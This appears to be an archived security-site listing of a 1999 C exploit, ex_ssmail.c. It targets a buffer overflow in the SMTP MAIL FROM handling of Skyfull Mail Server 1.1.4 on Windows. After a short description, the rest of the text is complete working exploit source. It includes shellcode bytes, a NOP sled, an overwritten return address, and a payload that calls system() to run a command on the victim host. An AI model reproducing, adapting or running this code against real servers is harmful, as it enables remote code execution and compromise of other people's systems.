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ex_ssmail.c

ex_ssmail.c
Posted Nov 5, 1999
Authored by shadowpenguin

We found the overflow bug of Skyfull Mail Server 1.1.4. It overflows when that receives the long MAIL FROM: in SMTP handling.If the host recives the packet which contains the exploit code, the host has been cracked by any instructions which are coded in the exploit code. This example sends the exploit code that executes any command on the host which is running the Skyfull Mail Server 1.1.4.

tags | exploit, overflow
systems | windows
SHA-256 | 0057b545eb9da1b22336a25403153460dec69e5aaa9e5f39e32cb6f0c487e3fa

ex_ssmail.c

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/*=============================================================================
Skyfull Mail Server Version 1.1.4 Exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define MAXBUF 3000
#define RETADR 655
#define JMPADR 651
#define SMTP_PORT 25
#define JMPEAX_ADR 0xbfe0a035

unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";

main(int argc,char *argv[])
{
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsa;
WORD wVersionRequested;
unsigned int ip,p1,p2;
static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];
struct hostent *hs;

if (argc<2){
printf("usage: %s VictimHost\n",argv[0]); return -1;
}
wVersionRequested = MAKEWORD( 2, 0 );
if (WSAStartup(wVersionRequested , &wsa)!=0){
printf("Winsock Initialization failed.\n"); return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n"); return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons((u_short)SMTP_PORT);
if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n"); return -1;
}
addr.sin_family = hs->h_addrtype;
memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
printf("Can not connect to specified host.\n"); return -1;
}
recv(sock,packetbuf,MAXBUF,0);
printf("BANNER FROM \"%s\" : %s\n",argv[1],packetbuf);

memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
ip=JMPEAX_ADR;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[JMPADR ]=0xeb;
buf[JMPADR+1]=0x80;

strcat(exploit_code,cmdbuf);
p1=(unsigned int)LoadLibrary;
p2=(unsigned int)GetProcAddress;
exploit_code[0x0d]=p1&0xff;
exploit_code[0x0e]=(p1>>8)&0xff;
exploit_code[0x0f]=(p1>>16)&0xff;
exploit_code[0x10]=(p1>>24)&0xff;
exploit_code[0x1e]=p2&0xff;
exploit_code[0x1f]=(p2>>8)&0xff;
exploit_code[0x20]=(p2>>16)&0xff;
exploit_code[0x21]=(p2>>24)&0xff;
memcpy(buf+JMPADR-strlen(exploit_code)-1,exploit_code,strlen(exploit_code));

sprintf(packetbuf,"HELO UNYUN\n");
send(sock,packetbuf,strlen(packetbuf),0);
recv(sock,packetbuf,MAXBUF,0);
printf("HELO: Reply from \"%s\" : %s\n",argv[1],packetbuf);
sprintf(packetbuf,"MAIL FROM: UNYUN <%s@shadowpenguin.net>\r\n",buf);
send(sock,packetbuf,strlen(packetbuf),0);
closesocket(sock);
printf("Done.\n");
return FALSE;
}
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